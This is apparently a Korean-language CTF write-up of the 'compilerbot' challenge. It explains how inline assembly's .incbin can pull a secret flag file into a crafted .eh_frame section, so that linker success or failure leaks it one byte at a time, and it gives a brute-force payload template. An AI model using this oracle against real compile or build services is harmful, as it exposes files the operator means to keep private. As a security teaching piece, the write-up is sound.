문제 지문은 이렇습니다.

Description

If Compiler Explorer is too bloated for you, you can always rely on our excellent > compiler bot to tell you whether you screwed up while coding your latest exploit.

And since we never actually run your code, there’s no way for you to hack it!

Download

compilerbot-f64128acb63c6bbe.tar.xz (10.9 KiB)

Connection

nc 88.198.154.157 8011

문제에서는 clang을 주고, 소스를 올려 컴파일을 할 수 있도록 해주는 서버의 주소를 줬습니다.
단, 컴파일이 되었는지 안되었는지만 알려줬고, {, }, # 문자열을 사용할 수 없습니다.

result = subprocess.run(
  ['/usr/bin/clang', '-x', 'c', '-std=c11', '-Wall',
  '-Wextra', '-Werror', '-Wmain', '-Wfatal-errors',
  '-o', '/dev/null', '-'], input=code.encode(),
  stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
  timeout=15.0)

if result.returncode == 0 and result.stdout.strip() == b'':
    print('OK')
else:
    print('Not OK')

목표는 /flag.txt를 읽는 거였습니다. 아무래도 1. 컴파일러 관련 문제에서 2. 파일을 읽는다면, 어셈블리에서 쓸 수 있는 .incbin 키워드가 먼저 떠오르게 되죠.

// 현재 위치에 flag.txt의 내용을 오브젝트 파일에 삽입한다.
__asm__(".incbin \"flag.txt\"");

컴파일 된 파일을 저희에게 보내주지는 않기 때문에, 뭔가 파일의 내용을 얻어올 방법이 없나 생각하다가...

"clang a.c -o a.out"

일반적으로 위의 커맨드를 실행하면, 두 가지가 크게 일어납니다. 첫 번째로 C언어를 기계어로 컴파일해서 '오브젝트 파일'로 만들고, 이를 엮어서 ELF파일 등으로 만들어주는데요, -v 옵션으로 볼 수 있습니다.

🤔

뭔가 링커에서 오브젝트 파일의 내용을 '다시 엮어서' 뭔가를 내놓는다면, 그리고 어셈블리어로 그 오브젝트 파일의 내용을 바꿀 수 있다면 뭔가 링커에도 입력을 줄 수 있는 셈이군요. 만약 링커에서 이를 처리하다가 오류가 발생할 가능성이 있다면 어떨까요? "입력"에 따라 말이죠.

(항상 그렇듯이, 저희는 입력에 따라 반응하는 프로그램을 보고 있잖아요)

그래서 곰곰이 생각하다가, 평소에 분석할때 보이던 .eh_frame이 문득 떠올랐습니다. C의 익셉션 정보들을 DWARF의 형태로 내보내주는데, 아무래도 링커에서 뭔가 살펴보지 않을까? 라는 심정으로, 아래를 입력했습니다.

__asm__(".section .eh_frame\n.ascii \"hey!\"");

그런데 에러가 터지더군요. 옳다구나! 하는 심정으로 이 섹션에는 뭐가 들어가길래 에러가 날까... 하고 검색을 시작했죠. 대충 clang에서도 시스템의 ld (binutils)를 쓴다는 점과, 포맷 설명서를 찾았는데요, 다른건 모르겠고 길이 필드가 들어가더군요.

그래서 대충 이런 오라클을 생각해봤습니다. 되면 어떨까? 하는 마음으로요.

start of .eh_frame
0x00  | [1st character of flag = 0x41] | <-- 길이 필드로 쓰임
..    | ... (0x41 bytes)               |
0x41  | next entry for .eh_frame       |

이 섹션에 뭔가 문자열이 들어가고, 링커에서 섹션 첫 부분부터 어떤 구조체를 파싱한다면, 구조체의 길이가 있어야 다음 게 얼마나 뒤에 있는지 알 수 있을테니까요. 그리고 그 길이 지정이 가능한거죠.

하지만 길이 필드는 리틀 엔디안 4바이트였는데요, 플래그 4글자가 전부 길이 필드로 들어간다면 최대 0xFFFFFFFF 바이트를 섹션에 써줘야 오라클을 만들 수 있을텐데...

다행히 .incbin에서는 몇 바이트만 삽입할지 지정이 가능했습니다. 최종 페이로드는,

payload="""
.eh_frame
a:
.incbin "flag",{offset},1
.byte 0,0,0 

# required fields
.long 0 
.byte 1 
.asciz "" 

.uleb128 1 
.sleb128 -8 
.byte 0x10
.byte {repeat} (assuming a ~ a_end: {repeat} bytes)

a_end:
.text
"""

for j in range(32): # assume flag < 32 bytes
  for i in range(256):
    trial(payload.format(repeat=i, offset=j))

이렇습니다. 만약 플래그의 j번째 글자가 0x41이라면 i가 0x41일때 심볼 a에 있는 엔트리가 a_end에서 끝나기 때문에, 정상적인 .eh_frame 엔트리 (정확히는 CIE)가 되는 것이죠.

이번 문제에서는 컴파일러, 그리고 주어진 소스 코드에 대한 컴파일 성공 여부만 주어진 상황에서 파일을 1바이트씩 얻어올 수 있었습니다. 재밌는 문제였네요!